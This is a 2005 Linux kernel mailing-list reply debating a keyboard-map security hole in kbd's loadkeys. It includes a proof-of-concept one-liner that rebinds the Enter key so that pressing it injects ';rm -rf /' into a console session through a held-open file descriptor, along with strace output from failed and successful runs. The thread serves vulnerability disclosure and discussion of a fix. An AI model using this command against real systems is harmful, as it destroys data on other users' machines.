Re: security / kbd

Bodo Eggert
2005-12-03T17:17:49Z

On Sat, 3 Dec 2005, Andries Brouwer wrote:

> On Sat, Dec 03, 2005 at 06:33:51AM +0100, Bodo Eggert wrote:
>
> > > Please describe the perceived security problem.
> > > You log in remotely to my machine. Want to do something evil.
> > > What precisely do you do?
> >
> > echo -e 'keycode 28 F70
> > string F70 ";rm -rf /\x0a"' | loadkeys > /proc/0815/fd/1
> >
> > where process 0815 is a "sleep 2147483647&"
>
> I already told you the result:
>
> loadkeys: Couldnt get a file descriptor referring to the console
>
> > I had stale permissions on /dev/tty0. With correct permission settings,
> > you'll need a session belonging to the malicious user.
>
> Aha. So it seems you withdraw the "remote" part, and say that
> a local user can leave a process with an open filedescriptor
> on a console, and that process can be used to access the console
> later. True.

You can trigger it remotely after launchning the process:

Failed case:
$ chroot . ./strace ./loadkeys -d
...
open("/dev/tty", O_RDWR) = -1 ENOENT (No such file or
directory)
open("/dev/tty0", O_RDWR) = -1 ENOENT (No such file or
directory)
open("/dev/vc/0", O_RDWR) = -1 ENOENT (No such file or
directory)
open("/dev/console", O_RDWR) = -1 ENOENT (No such file or
directory)
ioctl(0, 0x4b33, 0xbf8382d3) = -1 EINVAL (Invalid argument)
ioctl(1, 0x4b33, 0xbf8382d3) = -1 EINVAL (Invalid argument)
ioctl(2, 0x4b33, 0xbf8382d3) = -1 EINVAL (Invalid argument)
write(2, "Couldnt get a file descriptor re"..., 55Couldnt get a file
descriptor referring to the console
) = 55
munmap(0x4014d000, 4096) = 0
exit_group(1) = ?
$

Success:

$ chroot . ./loadkeys -d < proc/6903/fd/1
Loading /usr/share/kbd/keymaps/defkeymap.map.gz
$ chroot . ./strace ./loadkeys -d < proc/6903/fd/1
...
open("/dev/tty", O_RDWR) = -1 ENOENT (No such file or
directory)
open("/dev/tty0", O_RDWR) = -1 ENOENT (No such file or
directory)
open("/dev/vc/0", O_RDWR) = -1 ENOENT (No such file or
directory)
open("/dev/console", O_RDWR) = -1 ENOENT (No such file or
directory)
ioctl(0, 0x4b33, 0xbfaa2493) = 0
munmap(0x4014d000, 4096) = 0
exit_group(0) = ?
$

> But there are many ways of using such a file descriptor.
> This patch cripples the keymap changing but does not solve anything.

Obviously it solves only a part. OTOH you can't keep an exploit open just
because there is another exploit. Like I said, use chmod u+s loadkeys.

> The basic problem is that some things are common for all virtual
> consoles, while on the other hand vhangup() on one VC does not
> influence the other VCs.
>
> Probably those common parts should be split and made per-VC.

ACK. Congrats to volunteering :-)
--
"If you see a bomb technician running, follow him."
-U.S.A.F. Ammo Tech Sgt